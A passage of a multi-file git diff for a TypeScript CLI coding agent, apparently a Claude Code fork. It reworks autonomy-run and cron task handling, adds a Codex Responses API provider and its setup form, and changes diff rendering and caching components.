value: joinPromptValues(batch.map(c => c.value)),
uuid: batch.findLast(c => c.uuid)?.uuid ?? command.uuid,
}
}
}
const batchUuids = batch.map(c => c.uuid).filter(u => u !== undefined)
@@ -2135,7 +2120,9 @@ function runHeadlessStreaming(
}
const input = command.value
const claimedAutonomyCommands = queuedAutonomyClaim.claimedCommands
const autonomyRunIds = batch
.map(item => item.autonomy?.runId)
.filter((runId): runId is string => Boolean(runId))
if (structuredIO instanceof RemoteIO && command.mode === 'prompt') {
logEvent('tengu_bridge_message_received', {
@@ -2185,6 +2172,9 @@ function runHeadlessStreaming(
// const-capture: TS loses `while ((command = dequeue()))` narrowing
// inside the closure.
const cmd = command
for (const runId of autonomyRunIds) {
await markAutonomyRunRunning(runId)
}
let lastResultIsError = false
try {
await runWithWorkload(
@@ -2296,39 +2286,35 @@ function runHeadlessStreaming(
},
) // end runWithWorkload
if (lastResultIsError) {
await finalizeAutonomyCommandsForTurn({
commands: claimedAutonomyCommands,
outcome: {
type: 'failed',
message: 'ask() returned an error result',
},
currentDir: cwd(),
priority: 'later',
workload: cmd.workload ?? options.workload,
})
} else {
const nextCommands = await finalizeAutonomyCommandsForTurn({
commands: claimedAutonomyCommands,
outcome: { type: 'completed' },
currentDir: cwd(),
priority: 'later',
workload: cmd.workload ?? options.workload,
})
for (const nextCommand of nextCommands) {
enqueue({
...nextCommand,
uuid: randomUUID(),
for (const runId of autonomyRunIds) {
await finalizeAutonomyRunFailed({
runId,
error: 'ask() returned an error result',
})
}
} else {
for (const runId of autonomyRunIds) {
const nextCommands = await finalizeAutonomyRunCompleted({
runId,
currentDir: cwd(),
priority: 'later',
workload: cmd.workload ?? options.workload,
})
for (const nextCommand of nextCommands) {
enqueue({
...nextCommand,
uuid: randomUUID(),
})
}
}
}
} catch (error) {
await finalizeAutonomyCommandsForTurn({
commands: claimedAutonomyCommands,
outcome: { type: 'failed', error },
currentDir: cwd(),
priority: 'later',
workload: cmd.workload ?? options.workload,
})
for (const runId of autonomyRunIds) {
await finalizeAutonomyRunFailed({
runId,
error: String(error),
})
}
throw error
}
@@ -2777,37 +2763,13 @@ function runHeadlessStreaming(
// when a message arrives via the UDS socket in headless mode.
if (feature('UDS_INBOX')) {
/* eslint-disable @typescript-eslint/no-require-imports */
const { drainInbox, setOnEnqueue } =
require('../utils/udsMessaging.js') as typeof import('../utils/udsMessaging.js')
const { setOnEnqueue } = require('../utils/udsMessaging.js')
/* eslint-enable @typescript-eslint/no-require-imports */
const enqueueUdsInboxMessages = (): boolean => {
const entries = drainInbox()
for (const entry of entries) {
const value =
typeof entry.message.data === 'string'
? entry.message.data
: jsonStringify(entry.message.data)
enqueue({
mode: 'prompt',
value,
uuid: randomUUID(),
})
}
return entries.length > 0
}
setOnEnqueue(() => {
if (!inputClosed) {
if (enqueueUdsInboxMessages()) {
void run()
}
void run()
}
})
if (enqueueUdsInboxMessages()) {
void run()
}
}
// Cron scheduler: runs scheduled_tasks.json tasks in SDK/-p mode.
@@ -2819,90 +2781,72 @@ function runHeadlessStreaming(
let cronScheduler: import('../utils/cronScheduler.js').CronScheduler | null =
null
if (cronGate.isKairosCronEnabled()) {
// Shared dedup-claim → input-close-recheck → onSuccess pipeline for the
// three cron entry points (legacy onFire, onFireTask agent, onFireTask
// non-agent). Centralizing the cancel-on-late-shutdown contract here keeps
// the three branches from drifting on what happens between claim and
// dispatch. onSuccess receives the claimed QueuedCommand and decides
// whether to enqueue it (normal path) or mark the run failed (agent path).
const dispatchHeadlessCronCommand = (params: {
basePrompt: string
sourceId: string
sourceLabel: string
logSuffix: string
onSuccess: (command: QueuedCommand) => void | Promise<void>
}): void => {
if (inputClosed) return
void (async () => {
const command = await createAutonomyQueuedPromptIfNoActiveSource({
basePrompt: params.basePrompt,
trigger: 'scheduled-task',
currentDir: cwd(),
sourceId: params.sourceId,
sourceLabel: params.sourceLabel,
workload: WORKLOAD_CRON,
shouldCreate: () => !inputClosed,
})
if (!command) return
if (inputClosed) {
await cancelQueuedAutonomyCommands({ commands: [command] })
return
}
await params.onSuccess(command)
})().catch(error => {
logError(error)
logForDebugging(
`[ScheduledTasks] failed to enqueue headless task${params.logSuffix}: ${error}`,
{ level: 'error' },
)
})
}
const enqueueAndRun = (command: QueuedCommand): void => {
enqueue({
...command,
uuid: randomUUID(),
})
void run()
}
cronScheduler = cronSchedulerModule.createCronScheduler({
onFire: prompt => {
// Legacy KAIROS-style entries: the prompt text is what uniquely
// identifies the cron entry, so it doubles as both source id and
// source label for dedup.
dispatchHeadlessCronCommand({
basePrompt: prompt,
sourceId: prompt,
sourceLabel: prompt,
logSuffix: '',
onSuccess: enqueueAndRun,
})
if (inputClosed) return
void (async () => {
const prepared = await prepareAutonomyTurnPrompt({
basePrompt: prompt,
trigger: 'scheduled-task',
currentDir: cwd(),
})
if (inputClosed) return
const command = await commitAutonomyQueuedPrompt({
prepared,
currentDir: cwd(),
workload: WORKLOAD_CRON,
})
if (inputClosed) return
enqueue({
...command,
uuid: randomUUID(),
})
void run()
})()
},
onFireTask: task => {
if (task.agentId) {
dispatchHeadlessCronCommand({
if (inputClosed) return
void (async () => {
if (task.agentId) {
const prepared = await prepareAutonomyTurnPrompt({
basePrompt: task.prompt,
trigger: 'scheduled-task',
currentDir: cwd(),
})
if (inputClosed) return
const command = await commitAutonomyQueuedPrompt({
prepared,
currentDir: cwd(),
sourceId: task.id,
sourceLabel: task.prompt,
workload: WORKLOAD_CRON,
})
await markAutonomyRunFailed(
command.autonomy!.runId,
`No teammate runtime available for scheduled task owner ${task.agentId} in headless mode.`,
)
return
}
const prepared = await prepareAutonomyTurnPrompt({
basePrompt: task.prompt,
trigger: 'scheduled-task',
currentDir: cwd(),
})
if (inputClosed) return
const command = await commitAutonomyQueuedPrompt({
prepared,
currentDir: cwd(),
sourceId: task.id,
sourceLabel: task.prompt,
logSuffix: ` ${task.id}`,
onSuccess: async command => {
await markAutonomyRunFailed(
command.autonomy!.runId,
`No teammate runtime available for scheduled task owner ${task.agentId} in headless mode.`,
command.autonomy!.rootDir,
)
},
workload: WORKLOAD_CRON,
})
return
}
dispatchHeadlessCronCommand({
basePrompt: task.prompt,
sourceId: task.id,
sourceLabel: task.prompt,
logSuffix: ` ${task.id}`,
onSuccess: enqueueAndRun,
})
if (inputClosed) return
enqueue({
...command,
uuid: randomUUID(),
})
void run()
})()
},
isLoading: () => running || inputClosed,
getJitterConfig: cronJitterConfigModule?.getCronJitterConfig,

View File

@@ -1,9 +1,6 @@
import type { LocalCommandCall } from '../../types/command.js'
import { listPeers, isPeerAlive } from '../../utils/udsClient.js'
import {
formatUdsAddress,
getUdsMessagingSocketPath,
} from '../../utils/udsMessaging.js'
import { getUdsMessagingSocketPath } from '../../utils/udsMessaging.js'
export const call: LocalCommandCall = async (_args, _context) => {
const mySocket = getUdsMessagingSocketPath()
@@ -32,11 +29,11 @@ export const call: LocalCommandCall = async (_args, _context) => {
? ` started: ${formatAge(peer.startedAt)}`
: ''
lines.push(` [${status}] PID ${peer.pid} (${label})${cwd}${age}`)
lines.push(
` [${status}] PID ${peer.pid} (${label})${cwd}${age}`,
)
if (peer.messagingSocketPath) {
lines.push(
` socket: ${formatUdsAddress(peer.messagingSocketPath)}`,
)
lines.push(` socket: ${peer.messagingSocketPath}`)
}
if (peer.sessionId) {
lines.push(` session: ${peer.sessionId}`)
@@ -46,7 +43,7 @@ export const call: LocalCommandCall = async (_args, _context) => {
lines.push('')
lines.push(
'To message a peer: use SendMessage with the shown uds:<socket-path> address',
'To message a peer: use SendMessage with to="uds:<socket-path>"',
)
return { type: 'text', value: lines.join('\n') }

View File

@@ -5,8 +5,7 @@
* After the fix, it reads from / writes to settings.json via
* getInitialSettings() and updateSettingsForSource().
*/
import { afterAll, describe, expect, test, beforeEach, mock } from 'bun:test'
import * as settingsModule from '../../../utils/settings/settings.js'
import { describe, expect, test, beforeEach, mock } from 'bun:test'
// ── Mocks must be declared before the module under test is imported ──────────
@@ -14,48 +13,24 @@ let mockSettings: Record<string, unknown> = {}
let lastUpdate: { source: string; patch: Record<string, unknown> } | null = null
mock.module('src/utils/settings/settings.js', () => ({
loadManagedFileSettings: () => ({ settings: null, errors: [] }),
getManagedFileSettingsPresence: () => ({
hasBase: false,
hasDropIns: false,
}),
parseSettingsFile: () => ({ settings: null, errors: [] }),
getSettingsRootPathForSource: () => '',
getSettingsFilePathForSource: () => undefined,
getRelativeSettingsFilePathForSource: () => '',
getInitialSettings: () => mockSettings,
getSettingsForSource: () => mockSettings,
getPolicySettingsOrigin: () => null,
getSettingsWithErrors: () => ({ settings: mockSettings, errors: [] }),
getSettingsWithSources: () => ({ effective: mockSettings, sources: [] }),
getSettings_DEPRECATED: () => mockSettings,
settingsMergeCustomizer: () => undefined,
getManagedSettingsKeysForLogging: () => [],
// Keep unrelated exports aligned with the real settings module so this
// full-surface mock cannot change later test files if Bun keeps it alive.
hasAutoModeOptIn: () => true,
hasSkipDangerousModePermissionPrompt: () => false,
getAutoModeConfig: () => undefined,
getUseAutoModeDuringPlan: () => true,
rawSettingsContainsKey: (key: string) => key in mockSettings,
updateSettingsForSource: (source: string, patch: Record<string, unknown>) => {
lastUpdate = { source, patch }
mockSettings = { ...mockSettings, ...patch }
},
}))
afterAll(() => {
mock.restore()
mock.module('src/utils/settings/settings.js', () => settingsModule)
})
// Import AFTER mocks are registered
const { isPoorModeActive, setPoorMode } = await import('../poorMode.js')
// Import AFTER mocks are registered. The query suffix gives this file its own
// module instance so cross-file poorMode.js mocks cannot replace the subject
// under test during Bun's shared coverage run.
const poorModeModulePath = '../poorMode.js?poorModeTest'
const { isPoorModeActive, setPoorMode } = (await import(
poorModeModulePath
)) as typeof import('../poorMode.js')
// ── Helpers ──────────────────────────────────────────────────────────────────
/** Reset module-level singleton between tests by re-importing a fresh copy. */
async function freshModule() {
// Bun caches modules; we manipulate the exported functions directly since
// the singleton `poorModeActive` is reset to null only on first import.
// Instead we test the observable behaviour through set/get pairs.
}
// ── Tests ────────────────────────────────────────────────────────────────────

View File

@@ -15,6 +15,8 @@ function getEnvVarForProvider(provider: string): string {
return 'CLAUDE_CODE_USE_FOUNDRY'
case 'gemini':
return 'CLAUDE_CODE_USE_GEMINI'
case 'codex':
return 'CLAUDE_CODE_USE_CODEX'
case 'grok':
return 'CLAUDE_CODE_USE_GROK'
default:
@@ -51,6 +53,7 @@ const call: LocalCommandCall = async (args, context) => {
delete process.env.CLAUDE_CODE_USE_VERTEX
delete process.env.CLAUDE_CODE_USE_FOUNDRY
delete process.env.CLAUDE_CODE_USE_OPENAI
delete process.env.CLAUDE_CODE_USE_CODEX
delete process.env.CLAUDE_CODE_USE_GEMINI
delete process.env.CLAUDE_CODE_USE_GROK
return {
@@ -63,6 +66,7 @@ const call: LocalCommandCall = async (args, context) => {
const validProviders = [
'anthropic',
'openai',
'codex',
'gemini',
'grok',
'bedrock',
@@ -93,6 +97,18 @@ const call: LocalCommandCall = async (args, context) => {
}
}
if (arg === 'codex') {
const mergedEnv = getMergedEnv()
const hasKey = !!mergedEnv.CODEX_API_KEY
if (!hasKey) {
updateSettingsForSource('userSettings', { modelType: 'codex' })
return {
type: 'text',
value: `Switched to OpenAI Responses provider.\nWarning: Missing env var: CODEX_API_KEY\nConfigure via /login, settings.json env, or set manually.`,
}
}
}
// Check env vars when switching to grok (including settings.env)
if (arg === 'grok') {
const mergedEnv = getMergedEnv()
@@ -123,19 +139,24 @@ const call: LocalCommandCall = async (args, context) => {
// Handle different provider types
// - 'anthropic', 'openai', 'gemini' are stored in settings.json (persistent)
// - 'bedrock', 'vertex', 'foundry' are env-only (do NOT touch settings.json)
if (arg === 'anthropic' || arg === 'openai' || arg === 'gemini' || arg === 'grok') {
if (arg === 'anthropic' || arg === 'openai' || arg === 'codex' || arg === 'gemini' || arg === 'grok') {
// Clear any cloud provider env vars to avoid conflicts
delete process.env.CLAUDE_CODE_USE_BEDROCK
delete process.env.CLAUDE_CODE_USE_VERTEX
delete process.env.CLAUDE_CODE_USE_FOUNDRY
delete process.env.CLAUDE_CODE_USE_OPENAI
delete process.env.CLAUDE_CODE_USE_CODEX
delete process.env.CLAUDE_CODE_USE_GEMINI
delete process.env.CLAUDE_CODE_USE_GROK
// Update settings.json
updateSettingsForSource('userSettings', { modelType: arg })
// Ensure settings.env gets applied to process.env
applyConfigEnvironmentVariables()
return { type: 'text', value: `API provider set to ${arg}.` }
const message =
arg === 'codex' && !getMergedEnv().CODEX_IMGBB_API_KEY
? `API provider set to ${arg}.\nOptional: set CODEX_IMGBB_API_KEY to enable local image uploads for image understanding.`
: `API provider set to ${arg}.`
return { type: 'text', value: message }
} else {
// Cloud providers: set env vars only, do NOT touch settings.json
delete process.env.CLAUDE_CODE_USE_OPENAI
@@ -157,9 +178,9 @@ const provider = {
type: 'local',
name: 'provider',
description:
'Switch API provider (anthropic/openai/gemini/grok/bedrock/vertex/foundry)',
'Switch API provider (anthropic/openai/codex/gemini/grok/bedrock/vertex/foundry)',
aliases: ['api'],
argumentHint: '[anthropic|openai|gemini|grok|bedrock|vertex|foundry|unset]',
argumentHint: '[anthropic|openai|codex|gemini|grok|bedrock|vertex|foundry|unset]',
supportsNonInteractive: true,
load: () => Promise.resolve({ call }),
} satisfies Command

View File

@@ -1,5 +1,5 @@
import type { Command } from '../../commands.js'
import { isSkillLearningCompiledIn } from '../../services/skillLearning/featureCheck.js'
import { isSkillLearningEnabled } from '../../services/skillLearning/featureCheck.js'
const skillLearning = {
type: 'local-jsx',
@@ -7,10 +7,7 @@ const skillLearning = {
description: 'Manage skill learning (observe, analyze, evolve)',
argumentHint:
'[start|stop|about|status|ingest|evolve|export|import|prune|promote|projects]',
// The slash command is visible whenever the subsystem is compiled in.
// Whether the runtime feature is actually doing work is a separate
// concern controlled by `/skill-learning start` (see featureCheck.ts).
isEnabled: () => isSkillLearningCompiledIn(),
isEnabled: () => isSkillLearningEnabled(),
isHidden: false,
load: () => import('./skillPanel.js'),
} satisfies Command

View File

@@ -1,14 +1,10 @@
import type { Command } from '../../commands.js'
import { isSkillSearchCompiledIn } from '../../services/skillSearch/featureCheck.js'
const skillSearch = {
type: 'local-jsx',
name: 'skill-search',
description: 'Control automatic skill matching during conversations',
argumentHint: '[start|stop|about|status]',
// Visible whenever the subsystem is compiled in (build flag); runtime
// activation is separate and operator-controlled via /skill-search start.
isEnabled: () => isSkillSearchCompiledIn(),
isHidden: false,
load: () => import('./skillSearchPanel.js'),
} satisfies Command

View File

@@ -55,6 +55,14 @@ type OAuthStatus =
opusModel: string
activeField: 'base_url' | 'api_key' | 'haiku_model' | 'sonnet_model' | 'opus_model'
} // Gemini Generate Content API platform
| {
state: 'codex_responses_api'
baseUrl: string
apiKey: string
model: string
imgbbApiKey: string
activeField: 'base_url' | 'api_key' | 'model' | 'imgbb_api_key'
} // Codex / Responses API platform
| { state: 'ready_to_start' } // Flow started, waiting for browser to open
| { state: 'waiting_for_login'; url: string } // Browser opened, waiting for user to login
| { state: 'creating_api_key' } // Got access token, creating API key
@@ -456,7 +464,7 @@ function OAuthStatusMessage({
{
label: (
<Text>
Anthropic Compatible ·{' '}
Anthropic Compatible -{' '}
<Text dimColor>Configure your own API endpoint</Text>
{'\n'}
</Text>
@@ -466,7 +474,7 @@ function OAuthStatusMessage({
{
label: (
<Text>
OpenAI Compatible ·{' '}
OpenAI Compatible -{' '}
<Text dimColor>
Ollama, DeepSeek, vLLM, One API, etc.
</Text>
@@ -478,7 +486,17 @@ function OAuthStatusMessage({
{
label: (
<Text>
Gemini API ·{' '}
Codex Responses API -{' '}
<Text dimColor>OpenAI Codex via Responses API</Text>
{'\n'}
</Text>
),
value: 'codex_responses_api',
},
{
label: (
<Text>
Gemini API -{' '}
<Text dimColor>Google Gemini native REST/SSE</Text>
{'\n'}
</Text>
@@ -488,7 +506,7 @@ function OAuthStatusMessage({
{
label: (
<Text>
Claude account with subscription ·{' '}
Claude account with subscription -{' '}
<Text dimColor>Pro, Max, Team, or Enterprise</Text>
{process.env.USER_TYPE === 'ant' && (
<Text>
@@ -509,7 +527,7 @@ function OAuthStatusMessage({
{
label: (
<Text>
Anthropic Console account ·{' '}
Anthropic Console account -{' '}
<Text dimColor>API usage billing</Text>
{'\n'}
</Text>
@@ -519,7 +537,7 @@ function OAuthStatusMessage({
{
label: (
<Text>
3rd-party platform ·{' '}
3rd-party platform -{' '}
<Text dimColor>
Amazon Bedrock, Microsoft Foundry, or Vertex AI
</Text>
@@ -563,6 +581,16 @@ function OAuthStatusMessage({
opusModel: process.env.GEMINI_DEFAULT_OPUS_MODEL ?? '',
activeField: 'base_url',
})
} else if (value === 'codex_responses_api') {
logEvent('tengu_codex_responses_api_selected', {})
setOAuthStatus({
state: 'codex_responses_api',
baseUrl: process.env.CODEX_BASE_URL ?? '',
apiKey: process.env.CODEX_API_KEY ?? '',
model: process.env.CODEX_MODEL ?? '',
imgbbApiKey: process.env.CODEX_IMGBB_API_KEY ?? '',
activeField: 'base_url',
})
} else if (value === 'platform') {
logEvent('tengu_oauth_platform_selected', {})
setOAuthStatus({ state: 'platform_setup' })
@@ -797,7 +825,7 @@ function OAuthStatusMessage({
{renderRow('opus_model', 'Opus ')}
</Box>
<Text dimColor>
/Tab to switch · Enter on last field to save · Esc to go back
/Tab to switch - Enter on last field to save - Esc to go back
</Text>
</Box>
)
@@ -1036,7 +1064,7 @@ function OAuthStatusMessage({
{renderOpenAIRow('opus_model', 'Opus ')}
</Box>
<Text dimColor>
/Tab to switch · Enter on last field to save · Esc to go back
/Tab to switch - Enter on last field to save - Esc to go back
</Text>
</Box>
)
@@ -1269,7 +1297,254 @@ function OAuthStatusMessage({
{renderGeminiRow('opus_model', 'Opus ')}
</Box>
<Text dimColor>
/Tab to switch · Enter on last field to save · Esc to go back
/Tab to switch - Enter on last field to save - Esc to go back
</Text>
</Box>
)
}
case 'codex_responses_api':
{
type CodexField = 'base_url' | 'api_key' | 'model' | 'imgbb_api_key'
const CODEX_FIELDS: CodexField[] = [
'base_url',
'api_key',
'model',
'imgbb_api_key',
]
const cp = oauthStatus as {
state: 'codex_responses_api'
activeField: CodexField
baseUrl: string
apiKey: string
model: string
imgbbApiKey: string
}
const { activeField, baseUrl, apiKey, model, imgbbApiKey } = cp
const codexDisplayValues: Record<CodexField, string> = {
base_url: baseUrl,
api_key: apiKey,
model,
imgbb_api_key: imgbbApiKey,
}
const [codexInputValue, setCodexInputValue] = useState(
() => codexDisplayValues[activeField],
)
const [codexInputCursorOffset, setCodexInputCursorOffset] = useState(
() => codexDisplayValues[activeField].length,
)
const buildCodexState = useCallback(
(field: CodexField, value: string, newActive?: CodexField) => {
const state = {
state: 'codex_responses_api' as const,
activeField: newActive ?? activeField,
baseUrl,
apiKey,
model,
imgbbApiKey,
}
switch (field) {
case 'base_url':
return { ...state, baseUrl: value }
case 'api_key':
return { ...state, apiKey: value }
case 'model':
return { ...state, model: value }
case 'imgbb_api_key':
return { ...state, imgbbApiKey: value }
}
},
[activeField, apiKey, baseUrl, imgbbApiKey, model],
)
const doCodexSave = useCallback(() => {
const finalVals = {
...codexDisplayValues,
[activeField]: codexInputValue,
}
if (!finalVals.base_url || !finalVals.api_key || !finalVals.model) {
setOAuthStatus({
state: 'error',
message:
'Codex setup requires CODEX_BASE_URL, CODEX_API_KEY, and CODEX_MODEL.',
toRetry: {
state: 'codex_responses_api',
baseUrl: finalVals.base_url,
apiKey: finalVals.api_key,
model: finalVals.model,
imgbbApiKey: finalVals.imgbb_api_key,
activeField,
},
})
return
}
try {
new URL(finalVals.base_url)
} catch {
setOAuthStatus({
state: 'error',
message:
'Invalid base URL: please enter a full URL including protocol (e.g., https://code.ylsagi.com/codex)',
toRetry: {
state: 'codex_responses_api',
baseUrl: finalVals.base_url,
apiKey: finalVals.api_key,
model: finalVals.model,
imgbbApiKey: finalVals.imgbb_api_key,
activeField: 'base_url',
},
})
return
}
const env: Record<string, string | undefined> = {
CODEX_BASE_URL: finalVals.base_url,
CODEX_API_KEY: finalVals.api_key,
CODEX_MODEL: finalVals.model,
CODEX_IMGBB_API_KEY: finalVals.imgbb_api_key || undefined,
}
const { error } = updateSettingsForSource('userSettings', {
modelType: 'codex' as any,
env,
} as any)
if (error) {
setOAuthStatus({
state: 'error',
message: `Failed to save: ${error.message}`,
toRetry: {
state: 'codex_responses_api',
baseUrl: finalVals.base_url,
apiKey: finalVals.api_key,
model: finalVals.model,
imgbbApiKey: finalVals.imgbb_api_key,
activeField,
},
})
return
}
for (const [key, value] of Object.entries(env)) {
if (value === undefined) {
delete process.env[key]
} else {
process.env[key] = value
}
}
setOAuthStatus({ state: 'success' })
void onDone()
}, [activeField, codexDisplayValues, codexInputValue, onDone])
const handleCodexEnter = useCallback(() => {
const idx = CODEX_FIELDS.indexOf(activeField)
if (idx === CODEX_FIELDS.length - 1) {
setOAuthStatus(buildCodexState(activeField, codexInputValue))
doCodexSave()
} else {
const next = CODEX_FIELDS[idx + 1]!
setOAuthStatus(buildCodexState(activeField, codexInputValue, next))
setCodexInputValue(codexDisplayValues[next] ?? '')
setCodexInputCursorOffset((codexDisplayValues[next] ?? '').length)
}
}, [
activeField,
buildCodexState,
codexDisplayValues,
codexInputValue,
doCodexSave,
])
useKeybinding(
'tabs:next',
() => {
const idx = CODEX_FIELDS.indexOf(activeField)
if (idx < CODEX_FIELDS.length - 1) {
const next = CODEX_FIELDS[idx + 1]!
setOAuthStatus(buildCodexState(activeField, codexInputValue, next))
setCodexInputValue(codexDisplayValues[next] ?? '')
setCodexInputCursorOffset((codexDisplayValues[next] ?? '').length)
}
},
{ context: 'FormField' },
)
useKeybinding(
'tabs:previous',
() => {
const idx = CODEX_FIELDS.indexOf(activeField)
if (idx > 0) {
const prev = CODEX_FIELDS[idx - 1]!
setOAuthStatus(buildCodexState(activeField, codexInputValue, prev))
setCodexInputValue(codexDisplayValues[prev] ?? '')
setCodexInputCursorOffset((codexDisplayValues[prev] ?? '').length)
}
},
{ context: 'FormField' },
)
useKeybinding(
'confirm:no',
() => {
setOAuthStatus({ state: 'idle' })
},
{ context: 'Confirmation' },
)
const codexColumns = useTerminalSize().columns - 20
const renderCodexRow = (
field: CodexField,
label: string,
opts?: { mask?: boolean },
) => {
const active = activeField === field
const value = codexDisplayValues[field]
return (
<Box>
<Text
backgroundColor={active ? 'suggestion' : undefined}
color={active ? 'inverseText' : undefined}
>
{` ${label} `}
</Text>
<Text> </Text>
{active ? (
<TextInput
value={codexInputValue}
onChange={setCodexInputValue}
onSubmit={handleCodexEnter}
cursorOffset={codexInputCursorOffset}
onChangeCursorOffset={setCodexInputCursorOffset}
columns={codexColumns}
mask={opts?.mask ? '*' : undefined}
focus={true}
/>
) : value ? (
<Text color="success">
{opts?.mask
? value.slice(0, 8) + '\u00b7'.repeat(Math.max(0, value.length - 8))
: value}
</Text>
) : null}
</Box>
)
}
return (
<Box flexDirection="column" gap={1}>
<Text bold>Codex Responses API Setup</Text>
<Text dimColor>
Configure a Codex-compatible Responses API endpoint. ImgBB is optional
and enables local image uploads for image understanding.
</Text>
<Box flexDirection="column" gap={1}>
{renderCodexRow('base_url', 'Base URL ')}
{renderCodexRow('api_key', 'API Key ', { mask: true })}
{renderCodexRow('model', 'Model ')}
{renderCodexRow('imgbb_api_key', 'ImgBB Key', { mask: true })}
</Box>
<Text dimColor>
/Tab to switch - Enter on last field to save - Esc to go back
</Text>
</Box>
)
@@ -1295,19 +1570,19 @@ function OAuthStatusMessage({
<Box flexDirection="column" marginTop={1}>
<Text bold>Documentation:</Text>
<Text>
· Amazon Bedrock:{' '}
- Amazon Bedrock:{' '}
<Link url="https://code.claude.com/docs/en/amazon-bedrock">
https://code.claude.com/docs/en/amazon-bedrock
</Link>
</Text>
<Text>
· Microsoft Foundry:{' '}
- Microsoft Foundry:{' '}
<Link url="https://code.claude.com/docs/en/microsoft-foundry">
https://code.claude.com/docs/en/microsoft-foundry
</Link>
</Text>
<Text>
· Vertex AI:{' '}
- Vertex AI:{' '}
<Link url="https://code.claude.com/docs/en/google-vertex-ai">
https://code.claude.com/docs/en/google-vertex-ai
</Link>

View File

@@ -1,11 +1,16 @@
import type { StructuredPatchHunk } from 'diff'
import * as React from 'react'
import { Text } from '@anthropic/ink'
import { useTerminalSize } from '../hooks/useTerminalSize.js'
import { Box, Text } from '@anthropic/ink'
import { count } from '../utils/array.js'
import { MessageResponse } from './MessageResponse.js'
import { StructuredDiffList } from './StructuredDiffList.js'
type Props = {
filePath: string
structuredPatch: { lines: string[] }[]
structuredPatch: StructuredPatchHunk[]
firstLine: string | null
fileContent?: string
style?: 'condensed'
verbose: boolean
previewHint?: string
@@ -14,10 +19,13 @@ type Props = {
export function FileEditToolUpdatedMessage({
filePath,
structuredPatch,
firstLine,
fileContent,
style,
verbose,
previewHint,
}: Props): React.ReactNode {
const { columns } = useTerminalSize()
const numAdditions = structuredPatch.reduce(
(acc, hunk) => acc + count(hunk.lines, _ => _.startsWith('+')),
0,
@@ -47,7 +55,7 @@ export function FileEditToolUpdatedMessage({
// Plan files: invert condensed behavior
// - Regular mode: just show the hint (user can type /plan to see full content)
// - Condensed mode (subagent view): show the text
// - Condensed mode (subagent view): show the diff
if (previewHint) {
if (style !== 'condensed' && !verbose) {
return (
@@ -61,6 +69,18 @@ export function FileEditToolUpdatedMessage({
}
return (
<MessageResponse>{text}</MessageResponse>
<MessageResponse>
<Box flexDirection="column">
<Text>{text}</Text>
<StructuredDiffList
hunks={structuredPatch}
dim={false}
width={columns - 12}
filePath={filePath}
firstLine={firstLine}
fileContent={fileContent}
/>
</Box>
</MessageResponse>
)
}

View File

@@ -1,12 +1,24 @@
import type { StructuredPatchHunk } from 'diff'
import { relative } from 'path'
import * as React from 'react'
import { useTerminalSize } from 'src/hooks/useTerminalSize.js'
import { getCwd } from 'src/utils/cwd.js'
import { Box, Text } from '@anthropic/ink'
import { HighlightedCode } from './HighlightedCode.js'
import { MessageResponse } from './MessageResponse.js'
import { StructuredDiffList } from './StructuredDiffList.js'
const MAX_LINES_TO_RENDER = 10
type Props = {
file_path: string
operation: 'write' | 'update'
// For updates - show diff
patch?: StructuredPatchHunk[]
firstLine: string | null
fileContent?: string
// For new file creation - show content preview
content?: string
style?: 'condensed'
verbose: boolean
}
@@ -14,9 +26,14 @@ type Props = {
export function FileEditToolUseRejectedMessage({
file_path,
operation,
patch,
firstLine,
fileContent,
content,
style,
verbose,
}: Props): React.ReactNode {
const { columns } = useTerminalSize()
const text = (
<Box flexDirection="row">
<Text color="subtle">User rejected {operation} to </Text>
@@ -31,5 +48,51 @@ export function FileEditToolUseRejectedMessage({
return <MessageResponse>{text}</MessageResponse>
}
return <MessageResponse>{text}</MessageResponse>
// For new file creation, show content preview (dimmed)
if (operation === 'write' && content !== undefined) {
const lines = content.split('\n')
const numLines = lines.length
const plusLines = numLines - MAX_LINES_TO_RENDER
const truncatedContent = verbose
? content
: lines.slice(0, MAX_LINES_TO_RENDER).join('\n')
return (
<MessageResponse>
<Box flexDirection="column">
{text}
<HighlightedCode
code={truncatedContent || '(No content)'}
filePath={file_path}
width={columns - 12}
dim
/>
{!verbose && plusLines > 0 && (
<Text dimColor> +{plusLines} lines</Text>
)}
</Box>
</MessageResponse>
)
}
// For updates, show diff
if (!patch || patch.length === 0) {
return <MessageResponse>{text}</MessageResponse>
}
return (
<MessageResponse>
<Box flexDirection="column">
{text}
<StructuredDiffList
hunks={patch}
dim
width={columns - 12}
filePath={file_path}
firstLine={firstLine}
fileContent={fileContent}
/>
</Box>
</MessageResponse>
)
}

View File

@@ -1,7 +1,6 @@
import { extname } from 'path'
import React, { Suspense, use, useMemo } from 'react'
import { Ansi, Text } from '@anthropic/ink'
import { LRUCache } from 'lru-cache'
import { getCliHighlightPromise } from '../../utils/cliHighlight.js'
import { logForDebugging } from '../../utils/debug.js'
import { convertLeadingTabsToSpaces } from '../../utils/file.js'
@@ -17,7 +16,8 @@ type Props = {
// Module-level highlight cache — hl.highlight() is the hot cost on virtual-
// scroll remounts. useMemo doesn't survive unmount→remount. Keyed by hash
// of code+language to avoid retaining full source strings (#24180 RSS fix).
const hlCache = new LRUCache<string, string>({ max: 500 })
const HL_CACHE_MAX = 500
const hlCache = new Map<string, string>()
function cachedHighlight(
hl: NonNullable<Awaited<ReturnType<typeof getCliHighlightPromise>>>,
code: string,
@@ -25,8 +25,16 @@ function cachedHighlight(
): string {
const key = hashPair(language, code)
const hit = hlCache.get(key)
if (hit !== undefined) return hit
if (hit !== undefined) {
hlCache.delete(key)
hlCache.set(key, hit)
return hit
}
const out = hl.highlight(code, { language })
if (hlCache.size >= HL_CACHE_MAX) {
const first = hlCache.keys().next().value
if (first !== undefined) hlCache.delete(first)
}
hlCache.set(key, out)
return out
}

View File

@@ -1,6 +1,5 @@
import { marked, type Token, type Tokens } from 'marked'
import React, { Suspense, use, useMemo, useRef } from 'react'
import { LRUCache } from 'lru-cache'
import { useSettings } from '../hooks/useSettings.js'
import { Ansi, Box, useTheme } from '@anthropic/ink'
import {
@@ -23,7 +22,8 @@ type Props = {
// scrolling back to a previously-visible message re-parses. Messages are
// immutable in history; same content → same tokens. Keyed by hash to avoid
// retaining full content strings (turn50→turn99 RSS regression, #24180).
const tokenCache = new LRUCache<string, Token[]>({ max: 500 })
const TOKEN_CACHE_MAX = 500
const tokenCache = new Map<string, Token[]>()
// Characters that indicate markdown syntax. If none are present, skip the
// ~3ms marked.lexer call entirely — render as a single paragraph. Covers
@@ -55,8 +55,19 @@ function cachedLexer(content: string): Token[] {
}
const key = hashContent(content)
const hit = tokenCache.get(key)
if (hit) return hit
if (hit) {
// Promote to MRU — without this the eviction is FIFO (scrolling back to
